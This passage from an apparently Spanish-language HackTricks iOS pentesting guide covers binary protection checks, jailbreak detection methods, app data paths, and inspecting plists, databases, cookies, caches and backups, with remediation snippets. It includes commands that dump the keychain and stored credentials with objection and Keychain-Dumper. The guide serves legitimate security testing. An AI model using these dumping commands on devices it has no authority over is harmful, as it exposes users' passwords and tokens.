iOS Pentesting

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Conceptos básicos de iOS

iOS Basics

Entorno de pruebas

En esta página puedes encontrar información sobre el iOS simulator, emulators y jailbreaking:

iOS Testing Environment

Análisis inicial

Basic iOS Testing Operations

Durante las pruebas se van a sugerir varias operaciones (conectarse al device, leer/escribir/subir/descargar archivos, usar algunas herramientas…). Por lo tanto, si no sabes cómo realizar alguna de estas acciones por favor, empieza leyendo la página:

iOS Basic Testing Operations

Tip

Para los siguientes pasos la app debe estar instalada en el device y ya deberías haber obtenido el IPA file de la aplicación.
Lee la página Basic iOS Testing Operations para aprender cómo hacerlo.

Basic Static Analysis

Algunos decompiladores interesantes para archivos IPA de iOS:

Se recomienda utilizar la herramienta MobSF para realizar un Static Analysis automático del archivo IPA.

Identificación de protecciones presentes en el binario:

  • PIE (Position Independent Executable): Cuando está activado, la aplicación se carga en una dirección de memoria aleatoria cada vez que se lanza, lo que dificulta predecir su dirección de memoria inicial.
otool -hv <app-binary> | grep PIE   # It should include the PIE flag
  • Stack Canaries: Para validar la integridad del stack, se coloca un valor ‘canary’ en el stack antes de llamar a una función y se valida de nuevo cuando la función termina.
otool -I -v <app-binary> | grep stack_chk   # It should include the symbols: stack_chk_guard and stack_chk_fail
  • ARC (Automatic Reference Counting): Para prevenir fallos comunes de corrupción de memoria
otool -I -v <app-binary> | grep objc_release   # It should include the _objc_release symbol
  • Encrypted Binary: El binario debería estar encriptado
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT   # The cryptid should be 1

Identificación de funciones sensibles/inseguras

  • Weak Hashing Algorithms
# On the iOS device
otool -Iv <app> | grep -w "_CC_MD5"
otool -Iv <app> | grep -w "_CC_SHA1"

# On linux
grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"
  • Insecure Random Functions
# On the iOS device
otool -Iv <app> | grep -w "_random"
otool -Iv <app> | grep -w "_srand"
otool -Iv <app> | grep -w "_rand"

# On linux
grep -iER "_random"
grep -iER "_srand"
grep -iER "_rand"
  • Insecure ‘Malloc’ Function
# On the iOS device
otool -Iv <app> | grep -w "_malloc"

# On linux
grep -iER "_malloc"
  • Insecure and Vulnerable Functions
# On the iOS device
otool -Iv <app> | grep -w "_gets"
otool -Iv <app> | grep -w "_memcpy"
otool -Iv <app> | grep -w "_strncpy"
otool -Iv <app> | grep -w "_strlen"
otool -Iv <app> | grep -w "_vsnprintf"
otool -Iv <app> | grep -w "_sscanf"
otool -Iv <app> | grep -w "_strtok"
otool -Iv <app> | grep -w "_alloca"
otool -Iv <app> | grep -w "_sprintf"
otool -Iv <app> | grep -w "_printf"
otool -Iv <app> | grep -w "_vsprintf"

# On linux
grep -R "_gets"
grep -iER "_memcpy"
grep -iER "_strncpy"
grep -iER "_strlen"
grep -iER "_vsnprintf"
grep -iER "_sscanf"
grep -iER "_strtok"
grep -iER "_alloca"
grep -iER "_sprintf"
grep -iER "_printf"
grep -iER "_vsprintf"

Métodos comunes de detección de Jailbreak

  • File System Checks: Buscar la presencia de ficheros y directorios comunes de jailbreak, como /Applications/Cydia.app o /Library/MobileSubstrate/MobileSubstrate.dylib.
  • Sandbox Violations: Intentar acceder a áreas restringidas del sistema de archivos, lo cual debería estar bloqueado en dispositivos sin jailbreak.
  • API Checks: Comprobar si es posible usar llamadas prohibidas como fork() para crear un proceso hijo o system() para ver si existe /bin/sh.
  • Process Checks: Monitorizar la presencia de procesos conocidos relacionados con jailbreak, como Cydia, Substrate, o ssh.
  • Kernel Exploits: Comprobar la presencia de exploits de kernel que se usan comúnmente en jailbreaks.
  • Environment Variables: Inspeccionar variables de entorno en busca de indicios de jailbreak, como DYLD_INSERT_LIBRARIES.
  • Libraries Check: Comprobar las libs que están cargadas en el proceso de la app.
  • Check schemes: Por ejemplo canOpenURL(URL(string: "cydia://")).

Métodos comunes de detección Anti-Debugging

  • Check for Debugger Presence: Usar sysctl u otros métodos para comprobar si hay un debugger adjunto.
  • Anti-Debugging APIs: Buscar llamadas a APIs anti-debugging como ptrace o SIGSTOP como ptrace(PT_DENY_ATTACH, 0, 0, 0).
  • Timing Checks: Medir el tiempo que toman ciertas operaciones y buscar discrepancias que puedan indicar depuración.
  • Memory Checks: Inspeccionar la memoria en busca de artefactos conocidos de debuggers o modificaciones.
  • Environment Variables: Comprobar variables de entorno que puedan indicar una sesión de depuración.
  • Mach Ports: Detectar si los mach exception ports están siendo usados por debuggers.

Basic Dynamic Analysis

Revisa el dynamic analysis que realiza MobSF. Tendrás que navegar por las diferentes vistas e interactuar con ellas; hookeará varias clases mientras haces otras cosas y preparará un reporte una vez termines.

Listing Installed Apps

Usa el comando frida-ps -Uai para determinar el bundle identifier de las apps instaladas:

$ frida-ps -Uai
PID  Name                 Identifier
----  -------------------  -----------------------------------------
6847  Calendar             com.apple.mobilecal
6815  Mail                 com.apple.mobilemail
-  App Store            com.apple.AppStore
-  Apple Store          com.apple.store.Jolly
-  Calculator           com.apple.calculator
-  Camera               com.apple.camera
-  iGoat-Swift          OWASP.iGoat-Swift

Enumeración básica & Hooking

Aprende cómo enumerate the components of the application y cómo hook methods and classes fácilmente con objection:

iOS Hooking With Objection

IPA Structure

La estructura de un archivo IPA es esencialmente la de un paquete zip. Renombrando su extensión a .zip, puede ser descomprimido para revelar su contenido. Dentro de esta estructura, un Bundle representa una aplicación completamente empaquetada lista para su instalación. En su interior, encontrarás un directorio llamado <NAME>.app, que encapsula los recursos de la aplicación.

  • Info.plist: Este archivo contiene detalles de configuración específicos de la aplicación.
  • _CodeSignature/: Este directorio incluye un archivo plist que contiene una firma, garantizando la integridad de todos los archivos en el bundle.
  • Assets.car: Un archivo comprimido que almacena archivos de assets como iconos.
  • Frameworks/: Esta carpeta alberga las librerías nativas de la aplicación, que pueden estar en forma de archivos .dylib o .framework.
  • PlugIns/: Esto puede incluir extensiones de la aplicación, conocidas como archivos .appex, aunque no siempre están presentes. * Core Data: Se utiliza para guardar los datos permanentes de tu aplicación para uso offline, caché de datos temporales y añadir funcionalidad de undo en un solo dispositivo. Para sincronizar datos entre múltiples dispositivos con una misma cuenta iCloud, Core Data refleja automáticamente tu esquema a un contenedor CloudKit.
  • PkgInfo: El archivo PkgInfo es una manera alternativa de especificar los códigos de tipo y creador de tu aplicación o bundle.
  • en.lproj, fr.proj, Base.lproj: Son los paquetes de idiomas que contienen recursos para esos idiomas específicos, y un recurso por defecto en caso de que un idioma no esté soportado.
  • Seguridad: El directorio _CodeSignature/ desempeña un papel crítico en la seguridad de la app al verificar la integridad de todos los archivos incluidos mediante firmas digitales.
  • Gestión de assets: El archivo Assets.car utiliza compresión para gestionar eficientemente los assets gráficos, crucial para optimizar el rendimiento de la aplicación y reducir su tamaño total.
  • Frameworks y PlugIns: Estos directorios subrayan la modularidad de las aplicaciones iOS, permitiendo a los desarrolladores incluir bibliotecas de código reusables (Frameworks/) y extender la funcionalidad de la app (PlugIns/).
  • Localización: La estructura soporta múltiples idiomas, facilitando el alcance global de la aplicación al incluir recursos para paquetes de idioma específicos.

Info.plist

El Info.plist sirve como piedra angular para las aplicaciones iOS, encapsulando datos de configuración clave en forma de pares clave-valor. Este archivo es obligatorio no solo para aplicaciones sino también para extensiones de app y frameworks incluidos en el bundle. Está estructurado en formato XML o binario y contiene información crítica que va desde permisos de la app hasta configuraciones de seguridad. Para una exploración detallada de las claves disponibles, se puede consultar la Apple Developer Documentation.

Para aquellos que quieran trabajar con este archivo en un formato más accesible, la conversión a XML puede lograrse fácilmente usando plutil en macOS (disponible de forma nativa en versiones 10.2 y posteriores) o plistutil en Linux. Los comandos para la conversión son los siguientes:

  • For macOS:
$ plutil -convert xml1 Info.plist
  • Para Linux:
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist

Entre la miríada de información que puede revelar el archivo Info.plist, las entradas destacadas incluyen cadenas de permisos de la app (UsageDescription), esquemas de URL personalizados (CFBundleURLTypes) y configuraciones de App Transport Security (NSAppTransportSecurity). Estas entradas, junto con otras como tipos de documentos personalizados exportados/importados (UTExportedTypeDeclarations / UTImportedTypeDeclarations), pueden localizarse sin esfuerzo inspeccionando el archivo o empleando un simple comando grep:

$ grep -i <keyword> Info.plist

Rutas de datos

En el entorno iOS, los directorios están designados específicamente para aplicaciones del sistema y aplicaciones instaladas por el usuario. Las aplicaciones del sistema residen en el directorio /Applications, mientras que las apps instaladas por el usuario se colocan bajo /var/mobile/containers/Data/Application/. A estas aplicaciones se les asigna un identificador único conocido como UUID de 128 bits, lo que hace que la tarea de localizar manualmente la carpeta de una app sea complicada debido al carácter aleatorio de los nombres de directorio.

Warning

As applications in iOS must be sandboxed, each app will have also a folder inside $HOME/Library/Containers with app’s CFBundleIdentifier as the folder name.

However, both folders (data & container folders) have the file .com.apple.mobile_container_manager.metadata.plist that links both files in the key MCMetadataIdentifier).

Para facilitar el descubrimiento del directorio de instalación de una app instalada por el usuario, la objection tool proporciona un comando útil, env. Este comando revela información detallada de directorios para la app en cuestión. A continuación se muestra un ejemplo de cómo usar este comando:

OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env

Name               Path
-----------------  -------------------------------------------------------------------------------------------
BundlePath         /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
CachesDirectory    /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
DocumentDirectory  /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory   /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library

Alternativamente, el nombre de la app puede buscarse dentro de /private/var/containers usando el comando find:

find /private/var/containers -name "Progname*"

Comandos como ps y lsof también pueden utilizarse para identificar el proceso de la aplicación y listar los archivos abiertos, respectivamente, proporcionando información sobre las rutas de directorio activas de la aplicación:

ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1

Directorio Bundle:

  • AppName.app
  • Este es el Application Bundle como se vio anteriormente en el IPA; contiene datos esenciales de la aplicación, contenido estático así como el binario compilado de la aplicación.
  • Este directorio es visible para los usuarios, pero los usuarios no pueden escribir en él.
  • El contenido de este directorio no se respalda.
  • El contenido de esta carpeta se utiliza para validar la firma de código.

Directorio de datos:

  • Documents/
  • Contiene todos los datos generados por el usuario. El usuario final de la aplicación inicia la creación de estos datos.
  • Visible para los usuarios y los usuarios pueden escribir en él.
  • El contenido de este directorio se respalda.
  • La app puede excluir rutas estableciendo NSURLIsExcludedFromBackupKey.
  • Library/
  • Contiene todos los archivos que no son específicos del usuario, como caches, preferences, cookies, y archivos de configuración property list (plist).
  • Las apps iOS suelen usar los subdirectorios Application Support y Caches, pero la app puede crear subdirectorios personalizados.
  • Library/Caches/
  • Contiene archivos cacheados semi-persistentes.
  • Invisible para los usuarios y los usuarios no pueden escribir en él.
  • El contenido de este directorio no se respalda.
  • El OS puede eliminar automáticamente los archivos de este directorio cuando la app no se está ejecutando y el espacio de almacenamiento es bajo.
  • Library/Application Support/
  • Contiene persistentes archivos necesarios para ejecutar la app.
  • Invisible para los usuarios y los usuarios no pueden escribir en él.
  • El contenido de este directorio está respaldado.
  • La app puede excluir rutas estableciendo NSURLIsExcludedFromBackupKey.
  • Library/Preferences/
  • Usado para almacenar propiedades que pueden persistir incluso después de reiniciar la aplicación.
  • La información se guarda, sin cifrar, dentro del sandbox de la aplicación en un archivo plist llamado [BUNDLE_ID].plist.
  • Todos los pares clave/valor almacenados usando NSUserDefaults se pueden encontrar en este archivo.
  • tmp/
  • Usa este directorio para escribir archivos temporales que no necesitan persistir entre lanzamientos de la app.
  • Contiene archivos de caché no persistentes.
  • Invisible para los usuarios.
  • El contenido de este directorio no se respalda.
  • El OS puede eliminar automáticamente los archivos de este directorio cuando la app no se está ejecutando y el espacio de almacenamiento es bajo.

Echemos un vistazo más detallado al Application Bundle (.app) de iGoat-Swift dentro del directorio Bundle (/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app):

OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType      Perms  NSFileProtection    ...  Name
------------  -------  ------------------  ...  --------------------------------------
Regular           420  None                ...  rutger.html
Regular           420  None                ...  mansi.html
Regular           420  None                ...  splash.html
Regular           420  None                ...  about.html

Regular           420  None                ...  LICENSE.txt
Regular           420  None                ...  Sentinel.txt
Regular           420  None                ...  README.txt

Binary Reversing

Dentro de la carpeta <application-name>.app encontrarás un archivo binario llamado <application-name>. Este es el archivo que será ejecutado. Puedes realizar una inspección básica del binario con la herramienta otool:

otool -Vh DVIA-v2 #Check some compilation attributes
magic  cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags
MH_MAGIC_64    ARM64        ALL  0x00     EXECUTE    65       7112   NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE

otool -L DVIA-v2 #Get third party libraries
DVIA-v2:
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]

Comprueba si la app está cifrada

Comprueba si hay alguna salida para:

otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO

Desensamblando el binario

Desensamblar la sección text:

otool -tV DVIA-v2
DVIA-v2:
(__TEXT,__text) section
+[DDLog initialize]:
0000000100004ab8    sub    sp, sp, #0x60
0000000100004abc    stp    x29, x30, [sp, #0x50]   ; Latency: 6
0000000100004ac0    add    x29, sp, #0x50
0000000100004ac4    sub    x8, x29, #0x10
0000000100004ac8    mov    x9, #0x0
0000000100004acc    adrp    x10, 1098 ; 0x10044e000
0000000100004ad0    add    x10, x10, #0x268

Para imprimir el Objective-C segment de la aplicación de ejemplo se puede usar:

otool -oV DVIA-v2
DVIA-v2:
Contents of (__DATA,__objc_classlist) section
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
isa        0x1004423a8 _OBJC_METACLASS_$_DDLog
superclass 0x0 _OBJC_CLASS_$_NSObject
cache      0x0 __objc_empty_cache
vtable     0x0
data       0x1003de748
flags          0x80
instanceStart  8

Para obtener un código Objective-C más compacto, puedes usar class-dump:

class-dump some-app
//
//     Generated by class-dump 3.5 (64 bit).
//
//     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//

#pragma mark Named Structures

struct CGPoint {
double _field1;
double _field2;
};

struct CGRect {
struct CGPoint _field1;
struct CGSize _field2;
};

struct CGSize {
double _field1;
double _field2;
};

Sin embargo, las mejores opciones para desensamblar el binario son: Hopper y IDA.

Almacenamiento de datos

Para aprender cómo iOS almacena datos en el dispositivo lea esta página:

iOS Basics

Warning

Los siguientes lugares para almacenar información deben ser revisados justo después de instalar la aplicación, después de comprobar todas las funcionalidades de la aplicación e incluso después de cerrar sesión de un usuario e iniciar sesión con otro.
El objetivo es encontrar información sensible no protegida de la aplicación (contraseñas, tokens), del usuario actual y de usuarios que han iniciado sesión previamente.

Plist

plist files are structured XML files that contains key-value pairs. It’s a way to store persistent data, so sometimes you may find sensitive information in these files. It’s recommended to check these files after installing the app and after using intensively it to see if new data is written.

The most common way to persist data in plist files is through the usage of NSUserDefaults. This plist file is saved inside the app sandbox in Library/Preferences/<appBundleID>.plist

The NSUserDefaults class provides a programmatic interface for interacting with the default system. The default system allows an application to customize its behaviour according to user preferences. Data saved by NSUserDefaults can be viewed in the application bundle. This class stores data in a plist file, but it’s meant to be used with small amounts of data.

Estos datos ya no pueden accederse directamente desde un equipo de confianza, pero pueden recuperarse realizando una copia de seguridad.

You can dump the information saved using NSUserDefaults using objection’s ios nsuserdefaults get

To find all the plist of used by the application you can access to /private/var/mobile/Containers/Data/Application/{APPID} and run:

find ./ -name "*.plist"

Para convertir archivos desde el formato XML o binario (bplist) a XML, hay varios métodos disponibles según tu sistema operativo:

Para usuarios de macOS: Utiliza el comando plutil. Es una herramienta integrada en macOS (10.2+), diseñada para este propósito:

$ plutil -convert xml1 Info.plist

Para usuarios de Linux: Instala libplist-utils primero, luego usa plistutil para convertir tu archivo:

$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist

Within an Objection Session: Para analizar aplicaciones móviles, un comando específico permite convertir archivos plist directamente:

ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist

Core Data

Core Data es un framework para gestionar la capa de modelo de objetos en tu aplicación. Core Data can use SQLite as its persistent store, pero el framework en sí no es una base de datos.
CoreData no cifra sus datos por defecto. Sin embargo, se puede añadir una capa adicional de cifrado a CoreData. Consulta el GitHub Repo para más detalles.

Puedes encontrar la información de SQLite Core Data de una aplicación en la ruta /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support

Si puedes abrir el SQLite y acceder a información sensible, entonces has encontrado una misconfiguración.

-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);

NSManagedObjectContext *context =[appDelegate managedObjectContext];

User *user = [self fetchUser];
if (user) {
return;
}
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:context];
user.email = CoreDataEmail;
user.password = CoreDataPassword;
NSError *error;
if (![context save:&error]) {
NSLog(@"Error in saving data: %@", [error localizedDescription]);

}else{
NSLog(@"data stored in core data");
}
}

YapDatabase

YapDatabase es un almacén key/value construido sobre SQLite.
Como las bases de datos Yap son bases de datos sqlite, puedes encontrarlas usando el comando propuesto en la sección anterior.

Otras bases de datos SQLite

Es común que las aplicaciones creen su propia base de datos sqlite. Pueden estar almacenando datos sensibles en ellas y dejarlos sin cifrar. Por lo tanto, siempre es interesante revisar cada base de datos dentro del directorio de la aplicación. Por ello, ve al directorio de la aplicación donde se guardan los datos (/private/var/mobile/Containers/Data/Application/{APPID})

find ./ -name "*.sqlite" -or -name "*.db"

Firebase Real-Time Databases

Los desarrolladores pueden almacenar y sincronizar datos en una base de datos NoSQL alojada en la nube mediante Firebase Real-Time Databases. Almacenados en formato JSON, los datos se sincronizan con todos los clientes conectados en tiempo real.

Puedes encontrar cómo comprobar bases de datos de Firebase mal configuradas aquí:

Firebase Database

Bases de datos de Realm

Realm Objective-C y Realm Swift ofrecen una alternativa potente para el almacenamiento de datos, que no proporciona Apple. Por defecto, almacenan datos sin cifrar, con el cifrado disponible mediante una configuración específica.

Las bases de datos se encuentran en: /private/var/mobile/Containers/Data/Application/{APPID}. Para explorar estos archivos, se pueden utilizar comandos como:

iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm  default.realm.lock  default.realm.management/  default.realm.note|

$ find ./ -name "*.realm*"

Para ver estos archivos de base de datos, se recomienda la herramienta Realm Studio.

Para implementar cifrado en una base de datos Realm, se puede usar el siguiente fragmento de código:

// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
do {
let realm = try Realm(configuration: config)
// Use the Realm as normal
} catch let error as NSError {
// If the encryption key is wrong, `error` will say that it's an invalid database
fatalError("Error opening realm: \(error)")
}

Bases de datos de Couchbase Lite

Couchbase Lite se describe como un motor de base de datos ligero y embebido que sigue el enfoque orientado a documentos (NoSQL). Diseñado para ser nativo en iOS y macOS, ofrece la capacidad de sincronizar datos de forma fluida.

Para identificar posibles bases de datos Couchbase en un dispositivo, se debe inspeccionar el siguiente directorio:

ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/

Cookies

iOS almacena las cookies de las aplicaciones en el Library/Cookies/cookies.binarycookies dentro de la carpeta de cada aplicación. Sin embargo, los desarrolladores a veces deciden guardarlas en el keychain, ya que el mencionado archivo de cookies puede ser accedido en las copias de seguridad.

Para inspeccionar el archivo de cookies puedes usar este script en python o usar objection con ios cookies get.
También puedes usar objection para convertir estos archivos a formato JSON e inspeccionar los datos.

...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
{
"domain": "highaltitudehacks.com",
"expiresDate": "2051-09-15 07:46:43 +0000",
"isHTTPOnly": "false",
"isSecure": "false",
"name": "username",
"path": "/",
"value": "admin123",
"version": "0"
}
]

Cache

By default NSURLSession stores data, such as HTTP requests and responses in the Cache.db database. Esta base de datos puede contener datos sensibles, si tokens, nombres de usuario o cualquier otra información sensible ha sido almacenada en Cache. Para encontrar la información almacenada abre el directorio de datos de la app (/var/mobile/Containers/Data/Application/<UUID>) y ve a /Library/Caches/<Bundle Identifier>. The WebKit cache is also being stored in the Cache.db file. Objection puede abrir e interactuar con la base de datos con el comando sqlite connect Cache.db, ya que es una normal SQLite database.

Se recomienda deshabilitar el Caching de estos datos, ya que pueden contener información sensible en la request o response. La lista siguiente muestra diferentes formas de lograrlo:

  1. Se recomienda eliminar las respuestas almacenadas después del logout. Esto se puede hacer con el método provisto por Apple llamado removeAllCachedResponses. Puedes llamar a este método de la siguiente manera:

URLCache.shared.removeAllCachedResponses()

Este método eliminará todas las requests y responses almacenadas en el archivo Cache.db.

  1. Si no necesitas usar la ventaja de las cookies, sería recomendable usar la propiedad de configuración .ephemeral de URLSession, la cual deshabilita el guardado de cookies y Caches.

Apple documentation:

An ephemeral session configuration object is similar to a default session configuration (see default), except that the corresponding session object doesn’t store caches, credential stores, or any session-related data to disk. Instead, session-related data is stored in RAM. The only time an ephemeral session writes data to disk is when you tell it to write the contents of a URL to a file.

  1. El Cache también se puede deshabilitar estableciendo la Cache Policy a .notAllowed. Esto deshabilitará el almacenamiento en Cache de cualquier forma, ya sea en memoria o en disco.

Snapshots

Whenever you press the home button, iOS takes a snapshot of the current screen to be able to do the transition to the application on a much smoother way. Sin embargo, si hay datos sensibles presentes en la pantalla actual, se guardarán en la imagen (la cual persiste a través de reboots). Estas son las snapshots a las que también puedes acceder doblando el home screen para cambiar entre apps.

A menos que el iPhone esté jailbroken, el attacker necesita tener access al device unblocked para ver estos screenshots. Por defecto el último snapshot se almacena en el sandbox de la aplicación en Library/Caches/Snapshots/ o Library/SplashBoard/Snapshots (los trusted computers no pueden acceder al filesystem desde iOX 7.0).

Una forma de prevenir este mal comportamiento es mostrar una pantalla en blanco o eliminar los datos sensibles antes de que se tome el snapshot usando la función ApplicationDidEnterBackground().

The following is a sample remediation method that will set a default screenshot.

Swift:

private var backgroundImage: UIImageView?

func applicationDidEnterBackground(_ application: UIApplication) {
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
myBanner.frame = UIScreen.main.bounds
backgroundImage = myBanner
window?.addSubview(myBanner)
}

func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}

Objective-C:

@property (UIImageView *)backgroundImage;

- (void)applicationDidEnterBackground:(UIApplication *)application {
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
self.backgroundImage = myBanner;
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.window addSubview:myBanner];
}

- (void)applicationWillEnterForeground:(UIApplication *)application {
[self.backgroundImage removeFromSuperview];
}

Esto establece la imagen de fondo a overlayImage.png siempre que la aplicación pasa a segundo plano. Previene leaks de datos sensibles porque overlayImage.png siempre sobrescribirá la vista actual.

Keychain

Para acceder y gestionar el keychain de iOS, existen herramientas como Keychain-Dumper disponibles, adecuadas para dispositivos jailbroken. Además, Objection proporciona el comando ios keychain dump para fines similares.

Almacenamiento de credenciales

La clase NSURLCredential es ideal para guardar información sensible directamente en el keychain, evitando la necesidad de NSUserDefaults u otros envoltorios. Para almacenar credenciales tras el login, se usa el siguiente código Swift:

NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];

Para extraer estas credenciales almacenadas se utiliza el comando de Objection ios nsurlcredentialstorage dump.

Teclados personalizados y caché del teclado

A partir de iOS 8.0, los usuarios pueden instalar extensiones de teclado personalizadas, que se gestionan en Settings > General > Keyboard > Keyboards. Aunque estos teclados ofrecen funcionalidad ampliada, representan un riesgo de keystroke logging y de transmitir datos a servidores externos, aunque los usuarios son notificados sobre teclados que requieren acceso a la red. Las apps pueden, y deben, restringir el uso de teclados personalizados para la introducción de información sensible.

Recomendaciones de seguridad:

  • Se recomienda deshabilitar teclados de terceros para mayor seguridad.
  • Tenga en cuenta las funciones de autocorrección y sugerencias automáticas del teclado predeterminado de iOS, que podrían almacenar información sensible en archivos de caché ubicados en Library/Keyboard/{locale}-dynamic-text.dat o /private/var/mobile/Library/Keyboard/dynamic-text.dat. Estos archivos de caché deben revisarse regularmente en busca de datos sensibles. Se recomienda restablecer el diccionario del teclado vía Settings > General > Reset > Reset Keyboard Dictionary para borrar los datos en caché.
  • Interceptar el tráfico de red puede revelar si un teclado personalizado está transmitiendo pulsaciones de teclas de forma remota.

Prevención del almacenamiento en caché de campos de texto

The UITextInputTraits protocol ofrece propiedades para gestionar la autocorrección y la entrada de texto segura, esenciales para prevenir el almacenamiento en caché de información sensible. Por ejemplo, deshabilitar la autocorrección y habilitar la entrada de texto segura puede lograrse con:

textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;

Además, los desarrolladores deben asegurarse de que los campos de texto, especialmente aquellos para introducir información sensible como contraseñas y PINs, desactiven el almacenamiento en caché estableciendo autocorrectionType a UITextAutocorrectionTypeNo y secureTextEntry a YES.

UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;

Logs

Depurar código a menudo implica el uso de logging. Existe un riesgo, ya que los logs pueden contener información sensible. Anteriormente, en iOS 6 y versiones anteriores, los logs eran accesibles para todas las apps, lo que suponía un riesgo de sensitive data leakage. Ahora, las aplicaciones están restringidas a acceder solo a sus logs.

A pesar de estas restricciones, un atacante con acceso físico a un dispositivo desbloqueado aún puede explotarlo conectando el dispositivo a un ordenador y leer los logs. Es importante notar que los logs permanecen en el disco incluso después de la desinstalación de la app.

Para mitigar riesgos, se recomienda interactuar a fondo con la app, explorando todas sus funcionalidades y entradas para asegurarse de que no se esté registrando información sensible inadvertidamente.

Al revisar el código fuente de la app en busca de potential leaks, busque tanto predefined como custom logging statements usando palabras clave como NSLog, NSAssert, NSCAssert, fprintf para funciones integradas, y cualquier mención de Logging o Logfile para implementaciones personalizadas.

Monitoreo de logs del sistema

Las apps registran diversa información que puede ser sensible. Para monitorear estos logs, herramientas y comandos como:

idevice_id --list   # To find the device ID
idevicesyslog -u <id> (| grep <app>)   # To capture the device logs

son útiles. Además, Xcode proporciona una forma de recopilar los registros de la consola:

  1. Abre Xcode.
  2. Conecta el dispositivo iOS.
  3. Navega a Window -> Devices and Simulators.
  4. Selecciona tu dispositivo.
  5. Reproduce el problema que estás investigando.
  6. Usa el botón Open Console para ver los registros en una nueva ventana.

Para un registro más avanzado, conectarse al shell del dispositivo y usar socat puede proporcionar monitoreo de registros en tiempo real:

iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock

Seguido de comandos para observar actividades de logs, que pueden ser invaluables para diagnosticar problemas o identificar posibles data leakage en los logs.

Copias de seguridad

Las funciones de copia de seguridad automática están integradas en iOS, facilitando la creación de copias de los datos del dispositivo a través de iTunes (hasta macOS Catalina), Finder (desde macOS Catalina en adelante), o iCloud. Estas copias abarcan casi todos los datos del dispositivo, excluyendo elementos altamente sensibles como los detalles de Apple Pay y las configuraciones de Touch ID.

Riesgos de seguridad

La inclusión de las apps instaladas y sus datos en las copias de seguridad plantea el problema de un potencial data leakage y el riesgo de que modificaciones en la copia de seguridad puedan alterar la funcionalidad de la app. Se recomienda no almacenar información sensible en plaintext dentro del directorio de una app o sus subdirectorios para mitigar estos riesgos.

Excluir archivos de las copias de seguridad

Los archivos en Documents/ y Library/Application Support/ se incluyen en la copia de seguridad por defecto. Los desarrolladores pueden excluir archivos o directorios específicos de las copias usando NSURL setResourceValue:forKey:error: con la clave NSURLIsExcludedFromBackupKey. Esta práctica es crucial para proteger datos sensibles de ser incluidos en las copias de seguridad.

Pruebas para vulnerabilidades

Para evaluar la seguridad de la copia de seguridad de una app, comienza por crear una copia usando Finder, y luego ubícala siguiendo la guía de Apple’s official documentation. Analiza la copia de seguridad en busca de datos sensibles o configuraciones que puedan modificarse para afectar el comportamiento de la app.

La información sensible puede buscarse usando herramientas de línea de comandos o aplicaciones como iMazing. Para copias cifradas, la presencia de cifrado puede confirmarse verificando la clave “IsEncrypted” en el archivo “Manifest.plist” en la raíz de la copia de seguridad.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
...
<key>Date</key>
<date>2021-03-12T17:43:33Z</date>
<key>IsEncrypted</key>
<true/>
...
</plist>

For dealing with encrypted backups, Python scripts available in DinoSec’s GitHub repo, like backup_tool.py and backup_passwd.py, may be useful, albeit potentially requiring adjustments for compatibility with the latest iTunes/Finder versions. The iOSbackup tool is another option for accessing files within password-protected backups.

Modifying App Behavior

